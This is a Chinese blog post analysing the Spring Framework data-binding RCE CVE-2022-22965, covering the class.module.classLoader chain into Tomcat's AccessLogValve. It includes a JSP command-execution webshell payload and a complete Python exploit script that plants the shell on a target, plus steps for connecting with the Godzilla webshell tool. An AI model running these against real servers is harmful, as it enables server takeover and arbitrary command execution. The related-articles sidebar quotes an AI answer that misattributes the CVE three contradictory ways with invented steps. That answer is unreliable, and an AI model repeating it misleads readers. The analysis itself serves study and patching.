CVE-2022-22965：spring参数绑定漏洞

已于 2022-12-16 21:02:05 修改
阅读量2.1k 收藏
点赞数 1
分类专栏： web安全 文章标签： spring java 后端
于 2022-12-16 17:40:20 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/TengChuanB/article/details/128345920
版权

CVE-2022-22965

博客链接：https://www.blog.23day.site/articles/73

漏洞说明

Spring framework 是Spring 里面的一个基础开源框架，其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日，VMware Tanzu发布漏洞报告，Spring Framework存在远程代码执行漏洞，在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。

漏洞影响范围

Spring Framework < 5.3.18
Spring Framework < 5.2.20

漏洞原理

spring框架在传参的时候会与对应实体类自动参数绑定，通过“.”可以访问对应实体类的引用类型变量。使用getClass方法，通过反射机制获取成员属性。对于简易的利用为获取tomcat的日志配置成员属性，通过set方法，修改目录、内容等属性成员，达到任意文件写入的目的。

前置知识

ClassLoader

类加载器

Class文件是编译好的，可以在jvm虚拟机中直接运行的字节码文件，ClassLoader类加载器负责把class类根据需求，动态地加载到jvm虚拟机中运行。

加载class的方式

Java中两种加载class到jvm中的方式，都是通过类的全名来加载类。其加载过程分为以下三个步骤：

  1. 装载：（loading）找到class对应的字节码文件。
  2. 连接：（linking）将对应的字节码文件读入到JVM中。
  3. 初始化：（initializing）对class做相应的初始化动作。

  • Class.forName(“className”);

    调用方式为：Class.forName(className, true, ClassLoader.getCallerClassLoader())

    className：需要加载的类的名称。

    true：是否对class进行初始化（需要initialize）

    classLoader：对应的类加载器

  • ClassLoader.loadClass(“className”);

    调用方式为：ClassLoader.loadClass(name, false)

    name：需要加载的类的名称

    false：这个类加载以后是否需要去连接

两种方式的区别是forName()得到的class是已经初始化完成的，loadClass()得到的class是还没有连接的。

内省Introspector

内省访问JavaBean有两种方法，具体如下：

  • 先通过java.beans包下的Introspector类获得JavaBean对象的BeanInfo信息，再通过BeanInfo来获取属性的描述器（PropertyDescriptor），然后通过这个属性描述器就可以获取某个属性对应的 getter和setter方法，最后通过反射机制来调用这些方法。

  • 直接通过java.beans包下的PropertyDescriptor类来操作Bean对象

import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;
import cn.itcast.chapter08.javabean.Person;
public class IntrospectorDemo01 {
    public static void main(String[] args) throws Exception {
        //实例化一个Person对象
        Person beanObj = new Person();
        //依据Person产生一个相关的BeanInfo类
        BeanInfo bInfoObject = Introspector.getBeanInfo(beanObj.getClass(),
                                                        beanObj.getClass().getSuperclass());
        String str = "内省成员属性：\n";
        //获取该Bean中的所有属性的信息，以PropertyDescriptor数组的形式返回
        PropertyDescriptor[] mPropertyArray = bInfoObject
            .getPropertyDescriptors();
        for (int i = 0; i < mPropertyArray.length; i++) {
            //获取属性名
            String propertyName = mPropertyArray[i].getName();
            //获取属性类型
            Class propertyType = mPropertyArray[i].getPropertyType();
            //组合成“属性名 (属性的数据类型)”的格式
            str += propertyName + " ( " + propertyType.getName() + " )\n";
        }
        System.out.println(str);
    }
}

第9行代码用于创建Person类的对象，第1112行代码通过内省调用getBeanInfo()方法，获取Person类对象的BeanInfo信息，第1516行代码通过BeanInfo获取属性的描述器，第17~24行代码遍历获取每个属性的属性信息。

    public static void main(String[] args) throws IntrospectionException {
        BeanInfo beanInfo = Introspector.getBeanInfo(Child.class);

        BeanDescriptor beanDescriptor = beanInfo.getBeanDescriptor();
        MethodDescriptor[] methodDescriptors = beanInfo.getMethodDescriptors();
        PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();

        // 打印
        System.out.println(beanDescriptor);
        System.out.println("------------------------------");
        Arrays.stream(methodDescriptors).forEach(x -> System.out.println(x));
        System.out.println("------------------------------");
        Arrays.stream(propertyDescriptors).forEach(x -> System.out.println(x));
        System.out.println("------------------------------");
    }

BeanWrapper

image.png

BeanWrapper 继承上述三个接口，那么它就具有三重身份：

  • 属性编辑器
  • 属性编辑器注册表
  • 类型转换器

BeanWrapper相当于一个用于分析和操作标准JavaBean结构的代理。拥有获取和设置属性值和属性描述符的功能。

BeanWrapper相当于一个代理器，Spring委托BeanWrapper完成Bean属性的填充工作。

  • 它给属性赋值调用的是Method方法，如readMethod.invoke和writeMethod.invoke
  • 它对Bean的操作，大都委托给CachedIntrospectionResults去完成

PropertyDescriptor

属性描述器，BeanWrapper通过他可以获取JavaBean某个单独的属性。主要方法：

  1. getPropertyType()，获得属性的Class对象
  2. getReadMethod()，获得用于读取属性值的方法
  3. getWriteMethod()，获得用于写入属性值的方法
public static void setProperty(UserInfo userInfo, String userName) throws Exception {  
        // 获取bean的某个属性的描述符  
        PropertyDescriptor propDesc = new PropertyDescriptor(userName, UserInfo.class);  
        // 获得用于写入属性值的方法  
        Method methodSetUserName = propDesc.getWriteMethod();  
        // 以Key:Value格式写入属性值  
        methodSetUserName.invoke(userInfo, "zhangsan");  
        System.out.println("set userName:" + userInfo.getUserName());  
    }

CachedIntrospectionResults

缓存Java类的JavaBeans信息(主要是Java类的PropertyDescriptor)的内部类，不能被应用代码直接使用。

CachedIntrospectionResults的缓存信息是被静态存储起来的（应用级别），因此对于同一个类型的被操作的JavaBean并不会都创建一个新的CachedIntrospectionResults，因此，这个类使用了工厂模式，使用私有构造器和一个静态的forClass工厂方法来获取实例。

参数绑定

流程

  1. 客户端发起key:value的请求
  2. 处理器适配器调用spring提供参数绑定的组件将key:value数据转换成controller方法的形参。
  3. controller方法的形参

JavaBean 是一种特殊的类，主要用于传递数据信息，这种类中的方法主要用于访问私有的字段，且方法名符合某种命名规则。如果在两个模块之间传递信息，可以将信息封装进 JavaBean 中。

Spring 会将参数用 .进行分割，前面的参数会自动调用 get***，最后一个参数会自动调用 set***，依次执行。

通过上面这种链式的参数解析规则，我们可以 set*** 实现修改 Spring 框架中某些类的属性。

Databinder

DataBinder类实现了TypeConverter和PropertyEditorRegistry接口，作用主要是把字符串形式的参数转换成服务端真正需要的类型的转换，同时还有校验功能

bind()是数据绑定对象的核心方法，将给定的属性值绑定到此绑定程序的目标

public class DataBinder implements PropertyEditorRegistry, TypeConverter {
    public static final String DEFAULT_OBJECT_NAME = "target";
    public static final int DEFAULT_AUTO_GROW_COLLECTION_LIMIT = 256;
    protected static final Log logger = LogFactory.getLog(DataBinder.class);
    @Nullable
    private final Object target;
    private final String objectName;
    @Nullable
    private AbstractPropertyBindingResult bindingResult;
    private boolean directFieldAccess;
    @Nullable
    private SimpleTypeConverter typeConverter;
    private boolean ignoreUnknownFields;
    private boolean ignoreInvalidFields;
    private boolean autoGrowNestedPaths;
    private int autoGrowCollectionLimit;
    @Nullable
    private String[] allowedFields;
    @Nullable
    private String[] disallowedFields;
    @Nullable
    private String[] requiredFields;
    @Nullable
    private ConversionService conversionService;
    @Nullable
    private MessageCodesResolver messageCodesResolver;
    private BindingErrorProcessor bindingErrorProcessor;
    private final List<Validator> validators;

    public DataBinder(@Nullable Object target) {
        this(target, "target");
    }
    public void bind(PropertyValues pvs) {
        MutablePropertyValues mpvs = pvs instanceof MutablePropertyValues ? (MutablePropertyValues)pvs : new MutablePropertyValues(pvs);
        this.doBind(mpvs);
    }

    protected void doBind(MutablePropertyValues mpvs) {
        this.checkAllowedFields(mpvs);
        this.checkRequiredFields(mpvs);
        this.applyPropertyValues(mpvs);
    }
}

其中bindingResult是BeanPropertyBindingResult的实例，内部会持有一个BeanWrapperImpl。

WebDataBinder

DataBinder有一个子类WebDataBinder，是一个特殊的DataBinder，用于从Web请求参数到JavaBean对象的数据绑定，而WebDataBinder的子类ServletRequestDataBinder用于执行从servlet请求参数到JavaBeans的数据绑定，包括对multipart文件的支持。

image.png

为参数调用bind()方法，这个过程中会调用到最上级的DataBinder类的dobind()方法，从而调用到DataBinder的applyPropertyValues。

protected void applyPropertyValues(MutablePropertyValues mpvs) {
    try {
        this.getPropertyAccessor().setPropertyValues(mpvs, this.isIgnoreUnknownFields(), this.isIgnoreInvalidFields());
    } catch (PropertyBatchUpdateException var7) {
        PropertyAccessException[] var3 = var7.getPropertyAccessExceptions();
        int var4 = var3.length;

        for(int var5 = 0; var5 < var4; ++var5) {
            PropertyAccessException pae = var3[var5];
            this.getBindingErrorProcessor().processPropertyAccessException(pae, this.getInternalBindingResult());
        }
    }
}

applyPropertyValues()方法主要是使用resultBinding对象内的BeanWraperImpl对象完成属性的赋值操作。

public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
    AbstractNestablePropertyAccessor nestedPa;
    try {
        nestedPa = this.getPropertyAccessorForPropertyPath(propertyName);
    } catch (NotReadablePropertyException var5) {
        throw new NotWritablePropertyException(this.getRootClass(), this.nestedPath + propertyName, "Nested property in path '" + propertyName + "' does not exist", var5);
    }

    PropertyTokenHolder tokens = this.getPropertyNameTokens(this.getFinalPath(nestedPa, propertyName));
    nestedPa.setPropertyValue(tokens, new PropertyValue(propertyName, value));
}

protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) {
    int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);
    if (pos > -1) {
        String nestedProperty = propertyPath.substring(0, pos);
        String nestedPath = propertyPath.substring(pos + 1);
        AbstractNestablePropertyAccessor nestedPa = this.getNestedPropertyAccessor(nestedProperty);
        return nestedPa.getPropertyAccessorForPropertyPath(nestedPath);
    } else {
        return this;
    }
}

这里如果传进来的propertyPath包含.符号，pos则会赋值大于-1。也就是在这里会一直提取.分割的属性。

进入if语句后调用getNestedPropertyAccessor方法，来到resultBinding对象内的BeanWraperImpl对象的getCachedIntrospectionResults方法。

private CachedIntrospectionResults getCachedIntrospectionResults() {
    if (this.cachedIntrospectionResults == null) {
        this.cachedIntrospectionResults = CachedIntrospectionResults.forClass(this.getWrappedClass());
    }

    return this.cachedIntrospectionResults;
}

CachedIntrospectionResults 缓存了所有的bean中属性的信息，通过调试最后return的cachedIntrospectionResults变量可以看到，能够获取到的PropertyDescriptor属性描述器不仅仅有name，还有关键的class属性。

漏洞分析

在第一次获取Bean的属性信息过程中，会初始化CachedIntrospectionResults从而去调用到其构造方法，但其中有个classLoader和protectionDomain的黑名单，导致于在所有jdk版本下面都不能直接去通过class属性中的classloader进行漏洞利用，所以到这里即便能够操作从bean中获得的动态class，也无法进行进一步利用。

利用jdk9+的新特性，也就是module机制，简称模块化系统，在jdk9+中Class类有一个名为getModule()的新方法，它返回该类作为其成员的模块引用，而包含的模块引用当中就有classloader。

于是可以通过class中的module去间接获取classloader，使CachedIntrospectionResults初始化时的黑名单无效化。

后面的利用思路，就是去思考能利用哪些可控的属性去完成漏洞利用，首先去枚举都有哪些属性。通过输出可以找到很多可以利用的属性。这里选取最经典的tomcat的日志属性。

利用链为

getClass()->LoginControllergetModule()->ModulegetClassLoader()->ParallelWebappClassLoadergetResources()->StandardRootgetContext()->StandardContextgetParent()->StandardEnginegetPipeline()->PipelinegetFirst()->AccessLogValve...

private static final org.apache.juli.logging.Log org.apache.catalina.valves.AccessLogValve.log
private volatile java.lang.String org.apache.catalina.valves.AccessLogValve.dateStamp
private java.lang.String org.apache.catalina.valves.AccessLogValve.directory
protected volatile java.lang.String org.apache.catalina.valves.AccessLogValve.prefix
protected boolean org.apache.catalina.valves.AccessLogValve.rotatable
protected boolean org.apache.catalina.valves.AccessLogValve.renameOnRotate
private boolean org.apache.catalina.valves.AccessLogValve.buffered
private volatile boolean org.apache.catalina.valves.AccessLogValve.checkForOldLogs
.
.
.    
.    
public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionUnless(java.lang.String)
public void org.apache.catalina.valves.ValveBase.setAsyncSupported(boolean)
public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.getObjectName()
public native int java.lang.Object.hashCode()
public final native java.lang.Class java.lang.Object.getClass()
public final native void java.lang.Object.notify()
public final native void java.lang.Object.notifyAll()

其中比较值得注意的是其中的pattern，在tomcat中其属性的值由文字文本字符串组成，与前缀为“％”字符的模式标识符组合，还支持从cookie，传入头，传出响应头，Session或ServletRequest中的其他内容中写入信息。

于是就可以构造请求包，将log日志文件后缀改为.jsp，在请求头加入标识符变量值在pattern中构造webshell内容，发送完payload后重新调试可发现已成功修改日志配置。

在实际生产环境中，如果是tomcat直接单独启动的话，可以直接控制写入相对路径为“./webapps/ROOT/”下即可正常访问webshell。

ParallelWebappClassLoader继承WebappClassLoaderBase，WebappClassLoaderBase实现了getResources是WebResourceRoot接口类型，WebResourceRoot接口存在getContext方法，Context接口类型，继承Container，Container实现parent和getPipeline，Pipeline接口实现getfirst。最终得到Valve类型，通过类对象遍历所有成员。

流程总结：

  1. 调用getClass() 拿到Class对象
  2. 通过class对象调用getModule()
  3. 通过Module调用getClassLoader()
  4. 通过ClassLoader拿resources
  5. context是Tomcat的StandardContext
  6. parent拿到的是StandardEngine
  7. pipeline拿到的是StandardPipeline
  8. first拿到的是AccessLogValve

漏洞复现

测试漏洞

构造payload：

<%
if("j".equals(request.getParameter("pwd"))){ 
    java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); 
    int a = -1; 
    byte[] b = new byte[2048]; 
    while((a=in.read(b))!=-1){ 
        out.println(new String(b)); 
    } 
} 
%>

其中敏感信息放置header里面

suffix: %>//
c1: Runtime
c2: <%
  • %{xxx}i 请求headers的信息
  • %{xxx}o 响应headers的信息
  • %{xxx}c 请求cookie的信息
  • %{xxx}r xxx是ServletRequest的一个属性
  • %{xxx}s xxx是HttpSession的一个属性

使用burpsuite构造一个请求

image.png

发送过后访问tomcatwar.jsp，状态码200，说明漏洞存在。

进入靶机内部，查看目标目录，确认已经生成对应jsp

image.png

实现脚本

# coding:utf-8
import time

import requests
import argparse
from urllib.parse import urljoin


def Exploit(url):
    headers = {
        "suffix": "%>//",
        "c1": "Runtime",
        "c2": "<%",
        "DNT": "1",
        "Content-Type": "application/x-www-form-urlencoded",
        "Connection": "close"
    }
    params = {
        # 'class.module.classLoader.resources.context.parent.pipeline.first.pattern': '%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di',
        # 这里不懂啊  为啥用url编码response会出现乱码
        'class.module.classLoader.resources.context.parent.pipeline.first.pattern': '%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i',
        'class.module.classLoader.resources.context.parent.pipeline.first.suffix': '.jsp',
        'class.module.classLoader.resources.context.parent.pipeline.first.directory': 'webapps/ROOT',
        'class.module.classLoader.resources.context.parent.pipeline.first.prefix': 'tomcatwar',
        'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat': ''
    }
    try:
        go = requests.get(url, headers=headers, params=params, timeout=15, allow_redirects=False, verify=False)
        print(go.url)
        print(go.headers)
        # time.sleep(2)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl, timeout=15, allow_redirects=False, verify=False)
        print(shellgo.content)
        if shellgo.status_code == 200:
            print(f"The vulnerability exists, the shell address is :{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass


def main():
    parser = argparse.ArgumentParser(description='Spring-Core Rce.')
    parser.add_argument('--file', help='url file', required=False)
    parser.add_argument('--url', help='target url', required=False)
    args = parser.parse_args()
    # args.url = "http://192.168.181.130:8080"
    if args.url:
        Exploit(args.url)
    if args.file:
        with open(args.file) as f:
            for i in f.readlines():
                i = i.strip()
                Exploit(i)


if __name__ == '__main__':
    main()

Godzilla连接

通过godzilla生成webshell，然后通过burpsuite构造请求。webshell里面只有%不能被正常解析，所以把他放到header里面

image.png

用godzilla连接目标服务器

image.png

连接成功

image.png

相关漏洞

CVE-2010-1622

漏洞原理

Spring支持在控制器接受用户参数的时候使用依赖注入的方式注入一个Java Pojo对象。

Controller接收pojo参数，Spring会自动解析接收到的参数

如果用户传入的是http://localhost:8080/hello?name=zhangsan，那么Spring会调用User.setName('zhangsan')对User类的name进行赋值。也就是攻击者可以直接调用Pojo对象的属性，setter、getter方法。所有Java对象的父类都为Object，Object拥有一个getClass方法用来获取对象的Class.

public final native Class<?> getClass();

而Class对象又有getClassLoader，这个在Tomcat中会获取到org.apache.catalina.loader.ParallelWebappClassLoader（负责加载tomcat中每个应用的类包，每个应用一个），它保存了Tomcat的一些全局配置。CVE-2010-1622的攻击原理就是通过传入http://localhost:8080/hello?name=zhangsan&class.classLoader.xx=xxxx改变Tomcat配置的值来构造恶意操作，例如DoS、写Shell。

修复

CachedIntrospectionResults，会对Class和classLoader做判断，二者不能连用了。也就是上述的class.classLoader.xx被禁掉了，无法再进行利用

绕过

CVE-2022-22965就是绕过了这个限制，因为在Java9开始，Class对象中增加了getModule方法，获取的是Module类对象

image.png

Java的最小可执行文件是Class，jar则是Class文件的容器，可以打包许多Class。

如果少引用了某个jar可能出现ClassNotFoundException的报错。因为jar作为容器，只打包Class，并不关联Class间的依赖。

而JDK 9开始引入的Module则是主要解决“依赖”的问题。能让a.jar自动定位到依赖的b.jar。Module类的设计引入了getClassLoader方法，返回此模块的ClassLoader。这也是Spring4Shell绕过限制的原因，xx.classLoader被禁止了，但是在JDK9之后可以写成xx.module.classLoader，获取到ClassLoader后就可以利用之前的方式将shell写进日志。

漏洞修复

Tomcat

虽然是spring的漏洞，但tomcat也做了修复

Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.

tomcat6.0.28版本后把getURLs方法返回的值改成了clone的，使的我们获得的拷贝版本无法修改classloader中的URLs

Spring

spring则是在CachedIntrospectionResults中获取beanInfo后对其进行了判断，将classloader添加进了黑名单。

image.png

23DAY
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Spring Framework远程代码执行漏洞(CVE-2022-22965)
chaojixiaojingang
04-06 1万+
1.漏洞描述 由于Spring处理流程存在缺陷，在JDK9及以上版本的Spring框架环境中，远程攻击者可在满足特定条件的基础上，通过框架的参数绑定功能获取AccessLogValve对象并注入恶意字段值，触发pipeline机制，从而在任意路径下写入文件。远程攻击者可利用该漏洞写入恶意代码导致远程代码执行。 2.影响版本 JDK >= 9 & 5.3.X < Spring Framework < 5.3.18 JDK >= 9 & 5.2.X ...
春秋云镜 ：CVE-2022-22965（Spring Framework JDK ＞= 9 远程代码执行漏洞）
m0_65712192的博客
07-27 614
靶标介绍：Spring framework 是Spring 里面的一个基础开源框架，其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日，VMware Tanzu发布漏洞报告，Spring Framework存在远程代码执行漏洞，在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。
Java 开发 框架安全：Spring 命令执行漏洞.（CVE-2022-22965）
最新发布
网络安全领域___专研者.
05-07 715
Spring 框架是一个用于构建企业级应用程序的开源框架。它提供了一种全面的编程和配置模型，可以简化应用程序的开发过程。Spring 框架的核心特性包括依赖注入（Dependency Injection）、面向切面编程（Aspect-Oriented Programming）、声明式事务管理（Declarative Transaction Management）等。依赖注入是 Spring 框架的核心概念之一，它通过将对象之间的依赖关系外部化，使得对象之间的协作更加灵活和可测试。
Spring Framework远程代码执行漏洞（CVE-2022-22965）
qq_50854662的博客
06-27 794
Spring Framework远程代码执行漏洞（CVE-2022-22965）
[CVE-2022-22965]Spring远程代码执行漏洞复现
sGanYu
04-26 4413
漏洞概述（级别：高危） 续上一次Log4j2后，于2022年03月29日，Spring官方发布了Spring框架远程命令执行漏洞公告(CNVD-2022-23942、CVE-2022-22965) 攻击者可以通过构造恶意请求来利用这些漏洞，从而造成任意代码执行，未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行，该漏洞广泛存在于Spring框架以及衍生的框架中，JDK 9.0及以上版本会受到此漏洞影响 FOFA语法 app="APACHE-Tomcat" || app="vmware-Sprin
Spring RCE远程执行漏洞（CVE-2022-22965）
tpaer的博客
10-18 2443
这个洞22年3月底被大佬发现公布，由于Spring框架的影响范围太大了。复现条件又很低，本身就是高危的RCE漏洞可以直接拿到服务器的shell，像作者说的一样确实是一个核弹漏洞。
Spring Framework RCE CVE-2022-22965漏洞学习
weixin_68320784的博客
04-09 1752
一、概述 3月底Spring Framework爆出严重级别的安全漏洞，该漏洞允许黑客进行任意命令执行。在3月31日Spring Framework官方发布了5.3.18以及5.2.20修复了该漏洞，随后该漏洞编号为CVE-2022-22965，这个漏洞也是先发布修复版本，后分配CVE编号的。从官网可知该漏洞存在的条件： 使用JDK9及以上版本 使用Apache Tomcat作为容器 使用了传统的WAR包部署方式 依赖了spring-wemvc以及springwebflux Spring Fra
Spring远程命令执行漏洞（CVE-2022-22965）原理分析和思考
jidunkeji的博客
04-06 4502
前言 上周网上爆出Spring框架存在RCE漏洞，野外流传了一小段时间后，Spring官方在3月31日正式发布了漏洞信息，漏洞编号为CVE-2022-22965。本文章对该漏洞进行了复现和分析，希望能够帮助到有相关有需要的人员进一步研究。 1►前置知识 1.1 SpringMVC参数绑定 为了方便编程，SpringMVC支持将HTTP请求中的的请求参数或者请求体内容，根据Controller方法的参数，自动完成类型转换和赋值。之后，Controller方法就可以直接使用这些参数，避免了需要编写大
CVE-2022-22965 GUItools单个图形化利用工具
04-06
CVE-2010-1622中曾出现由于参数自动绑定机制导致的问题， 此前通过黑名单的方式修复了该漏洞，但是 JDK9之后引入了 Module，使得可以通过 getModule 绕过前者的黑名单限制，最后导致远程代码执行。
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC
08-10
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC CVE-2022-33891 影响版本 Apache spark version 3.1.1版本 Apache Spark version>= 3.3.0 修复方案 1.建议升级到安全版本，参考官网链接： ...
spring Framework 远程命令执行漏洞CVE-2022-22965漏洞脚本自用
10-27
spring Framework 远程命令执行漏洞CVE-2022-22965漏洞脚本自用
CachedIntrospectionResults 初始化
weixin_34161064的博客
11-19 774
   
CVE-2022-22965分析复现
include_voidmain的博客
04-12 3506
0x01 前置知识 Introspector类 javabean通常是用来做数据封装的java类，为了方便数据的读取与写入，会有getter/setter方法来对数据进行操作，在jdk中有一个Introspector类，通过该类的方法可以获取javabean的相关信息，包括javabean中的属性值，以及属性值对应的getter/setter方法。 对于属性的获取，其实是通过对应的getter/setter方法来确定的，如果存在对应的getter/setter方法或其中的一个，都会认为存在对应的属性，下面通
Spring Framework RCE 漏洞分析 (CVE-2022-22965)
m0_61506558的博客
11-07 1673
该漏洞的本质类似于php的变量覆盖漏洞，exp利用的话，恰好覆盖到tomcat的配置，并修改tomcat的日志位置到根目录，修改日志的后缀为jsp。但是这里叫SpringMVC的参数绑定。 由于笔者个人水平有限，行文如有不当，还请各位师傅评论指正，非常感谢！
CVE-2022-22965 Spring Framework远程代码执行漏洞复现
热爱学习，喜欢折腾！
09-14 2719
springframework 是spring 里面的一个基础开源框架，主要用于javaee的企业开发。Spring是什么呢？首先它是一个开源的项目，而且非常活跃；它是一个基于IOC和AOP的构架多层j2ee系统的框架，但它不强迫你必须在每一层中必须使用Spring，因为它模块化的很好，允许你根据自己的需要选择使用它的某一个模块；
Spring Framework RCE 通过 JDK 9+ 上的数据绑定 (CVE-2022-22965)
不曾扬帆，何以至远方
07-22 1226
Spring Framework RCE(CVE-2022-22965)
奇安信-源代码安全缺陷问题解决记录:路径遍历、API误用、配置文件明文
11-02 9446
API误用-不安全的框架绑定 密码管理-配置文件中的明文密码 jasypt
cve-2022-22965漏洞复现
06-28
### 回答1： 很抱歉，我是一名语言模型AI，无法进行漏洞复现。但是，我可以告诉您，CVE-2022-22965是一个关于VMware vCenter Server的漏洞，攻击者可以利用该漏洞在未经授权的情况下访问受影响系统的敏感信息。建议您及时更新相关软件以修复该漏洞。 ### 回答2： CVE-2022-22965漏洞是指Apache Druid开源分布式数据存储系统的安全漏洞，攻击者可以利用该漏洞通过未经身份验证的请求在数据库中执行任意代码。该漏洞的严重程度为高危。 漏洞复现步骤如下： 1. 下载Apache Druid源代码并编译。 2. 构建一个名为“druid”的文件夹，并将编译好的jar包复制到该文件夹中。 3. 在“druid”文件夹中创建一个名为“webapp”的文件夹，并在其中创建一个名为“tmp”的文件夹。 4. 创建一个名为“druid.security.http.authenticator=io.druid.server.security.AuthConfig” 的文件，并将其保存到“webapp”文件夹中。 5. 将以下代码复制到该文件中： ``` {"type": "static", "users": {"admin": {"password": "123456", "roles": ["admin"]}}, "defaultRoles": ["guest"]} ``` 6. 启动Apache Druid。 ``` java -Ddruid.extensions.directory=./extensions -Ddruid.extensions.hadoopDependenciesDir=./hadoop-dependencies -Ddruid.extensions.loadList=[various extensions classpaths] -Ddruid.zk.service.host=your_zookeeper_host -Ddruid.cluster.host=your_coordinator_host -cp "lib/*" io.druid.cli.Main server example/conf/druid/_common/common.runtime.properties example/conf/druid/coordinator/coordinator.runtime.properties example/conf/druid/overlord/overlord.runtime.properties ``` 7. 使用管理员帐户登录并导航到“/druid”路径。 8. 在“/druid”路径上发送一个POST请求，并将以下JSON作为请求正文： ``` { "queryType": "introspect", "dataSource": "test", "intervals": ["1900-01-01/2022-01-01"], "timestamp": "2000-01-01T00:00:00.000Z", "context": { "timestamp": "2000-01-01T00:00:00.000Z" } } ``` 9. 攻击者就可以获得admin权限，从而可以执行任意代码。 为了修复该漏洞，用户应该升级到Apache Druid的最新版本，并且将认证配置文件设置为只允许已经身份验证的用户请求访问。同时，也应该遵循最佳实践，限制Apache Druid的公共接口，防止恶意攻击。 ### 回答3： CVE-2022-22965是一种Linux内核漏洞，当处理齐切IO请求时的数据结构状态异常，会导致系统崩溃或者拒绝服务。 漏洞具体表现为，在处理齐切（fstrim）IO请求时，如果请求的数据结构存在不一致或者错误的状态，就会触发漏洞。攻击者通过构造特定的请求，就可以在目标系统上实施拒绝服务攻击，或者导致系统崩溃。 为了验证漏洞，可以使用如下步骤进行复现： 1. 安装需要的环境：在一台Linux系统上安装fstrim工具，并确保内核版本为5.10及以上。 2. 构造恶意数据请求：使用dd命令创建一个大文件，并通过fstrim将其进行清空。 3. 发送恶意请求：使用fstrim -v命令发送构造好的清空请求，如果系统没有正常响应，说明漏洞成功被触发。 需要注意的是，由于该漏洞存在一定的风险，为了保证系统的稳定运行，建议及时升级系统内核版本，避免产生潜在的安全风险。同时，也可以考虑在系统中配置相关的安全防护机制，如软件防火墙、入侵检测系统等，以强化系统的安全性。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值